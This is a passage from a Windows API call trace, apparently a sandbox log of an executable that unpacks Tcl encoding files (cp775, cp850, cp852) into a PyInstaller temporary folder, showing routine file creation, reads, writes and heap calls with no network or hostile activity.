(dwErrCode=0x2) [0036.060] GetLastError () returned 0x2 [0036.060] SetLastError (dwErrCode=0x2) [0036.060] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp775.enc") returned 68 [0036.060] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.060] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp775.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp775.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.060] GetFileType (hFile=0x10c) returned 0x1 [0036.060] htonl (hostlong=0x42040000) returned 0x442 [0036.060] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.060] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.061] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.061] CloseHandle (hObject=0x10c) returned 1 [0036.062] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.062] htonl (hostlong=0x30000000) returned 0x30 [0036.062] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.062] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.062] GetFileType (hFile=0x10c) returned 0x1 [0036.062] htonl (hostlong=0x13635100) returned 0x516313 [0036.062] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x561313, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.062] htonl (hostlong=0x15020000) returned 0x215 [0036.062] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x215) returned 0x550600 [0036.062] htonl (hostlong=0x15020000) returned 0x215 [0036.063] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.063] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.063] htonl (hostlong=0x42040000) returned 0x442 [0036.063] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.063] htonl (hostlong=0x15020000) returned 0x215 [0036.063] htonl (hostlong=0x42040000) returned 0x442 [0036.063] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.063] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.063] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.063] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.063] CloseHandle (hObject=0x10c) returned 1 [0036.063] GetLastError () returned 0x0 [0036.063] SetLastError (dwErrCode=0x0) [0036.063] GetLastError () returned 0x0 [0036.063] SetLastError (dwErrCode=0x0) [0036.063] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.063] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.063] GetFileType (hFile=0x10c) returned 0x1 [0036.063] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.063] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.063] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.063] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.063] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.063] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.063] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.063] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.064] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.064] CloseHandle (hObject=0x10c) returned 1 [0036.064] GetLastError () returned 0x0 [0036.064] SetLastError (dwErrCode=0x0) [0036.064] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.064] GetFileType (hFile=0x10c) returned 0x1 [0036.064] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.064] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.064] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.064] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.064] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.064] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.064] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.064] CloseHandle (hObject=0x10c) returned 1 [0036.064] GetLastError () returned 0x0 [0036.064] SetLastError (dwErrCode=0x0) [0036.064] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp850.enc") returned 68 [0036.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp850.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp850.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.064] GetLastError () returned 0x2 [0036.065] SetLastError (dwErrCode=0x2) [0036.065] GetLastError () returned 0x2 [0036.065] SetLastError (dwErrCode=0x2) [0036.065] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp850.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp850.enc", lpFilePart=0x0) returned 0x43 [0036.065] GetLastError () returned 0x2 [0036.065] SetLastError (dwErrCode=0x2) [0036.065] GetLastError () returned 0x2 [0036.065] SetLastError (dwErrCode=0x2) [0036.065] GetLastError () returned 0x2 [0036.065] SetLastError (dwErrCode=0x2) [0036.065] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp850.enc") returned 68 [0036.065] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.065] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp850.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp850.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.065] GetFileType (hFile=0x10c) returned 0x1 [0036.065] htonl (hostlong=0x42040000) returned 0x442 [0036.065] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.065] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.066] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.066] CloseHandle (hObject=0x10c) returned 1 [0036.067] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.067] htonl (hostlong=0x30000000) returned 0x30 [0036.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.067] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.067] GetFileType (hFile=0x10c) returned 0x1 [0036.067] htonl (hostlong=0x28655100) returned 0x516528 [0036.067] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x561528, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.067] htonl (hostlong=0x1c020000) returned 0x21c [0036.067] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21c) returned 0x550600 [0036.067] htonl (hostlong=0x1c020000) returned 0x21c [0036.067] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.067] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.067] htonl (hostlong=0x42040000) returned 0x442 [0036.067] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.067] htonl (hostlong=0x1c020000) returned 0x21c [0036.067] htonl (hostlong=0x42040000) returned 0x442 [0036.067] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.067] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.067] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.067] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.068] CloseHandle (hObject=0x10c) returned 1 [0036.068] GetLastError () returned 0x0 [0036.068] SetLastError (dwErrCode=0x0) [0036.068] GetLastError () returned 0x0 [0036.068] SetLastError (dwErrCode=0x0) [0036.068] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.068] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.068] GetFileType (hFile=0x10c) returned 0x1 [0036.068] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.068] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.068] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.068] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.068] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.068] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.068] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.068] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.068] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.068] CloseHandle (hObject=0x10c) returned 1 [0036.068] GetLastError () returned 0x0 [0036.068] SetLastError (dwErrCode=0x0) [0036.068] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.068] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.068] GetFileType (hFile=0x10c) returned 0x1 [0036.068] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.069] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.069] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.069] CloseHandle (hObject=0x10c) returned 1 [0036.069] GetLastError () returned 0x0 [0036.069] SetLastError (dwErrCode=0x0) [0036.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp852.enc") returned 68 [0036.069] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp852.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp852.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.069] GetLastError () returned 0x2 [0036.069] SetLastError (dwErrCode=0x2) [0036.069] GetLastError () returned 0x2 [0036.069] SetLastError (dwErrCode=0x2) [0036.069] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp852.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp852.enc", lpFilePart=0x0) returned 0x43 [0036.069] GetLastError () returned 0x2 [0036.069] SetLastError (dwErrCode=0x2) [0036.069] GetLastError () returned 0x2 [0036.069] SetLastError (dwErrCode=0x2) [0036.069] GetLastError () returned 0x2 [0036.069] SetLastError (dwErrCode=0x2) [0036.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp852.enc") returned 68 [0036.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.069] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp852.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp852.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.070] GetFileType (hFile=0x10c) returned 0x1 [0036.070] htonl (hostlong=0x42040000) returned 0x442 [0036.070] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.070] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.071] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.071] CloseHandle (hObject=0x10c) returned 1 [0036.072] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.072] htonl (hostlong=0x30000000) returned 0x30 [0036.072] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.072] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.072] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.072] GetFileType (hFile=0x10c) returned 0x1 [0036.072] htonl (hostlong=0x44675100) returned 0x516744 [0036.072] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x561744, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.072] htonl (hostlong=0x23020000) returned 0x223 [0036.072] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x223) returned 0x550600 [0036.072] htonl (hostlong=0x23020000) returned 0x223 [0036.072] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.072] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.072] htonl (hostlong=0x42040000) returned 0x442 [0036.072] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.072] htonl (hostlong=0x23020000) returned 0x223 [0036.073] htonl (hostlong=0x42040000) returned 0x442 [0036.073] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.073] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.073] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.073] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.073] CloseHandle (hObject=0x10c) returned 1 [0036.073] GetLastError () returned 0x0 [0036.073] SetLastError (dwErrCode=0x0) [0036.073] GetLastError () returned 0x0 [0036.073] SetLastError (dwErrCode=0x0) [0036.073] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.073] GetFileType (hFile=0x10c) returned 0x1 [0036.073] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.073] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.073] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.073] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.073] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.073] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.073] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.073] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, 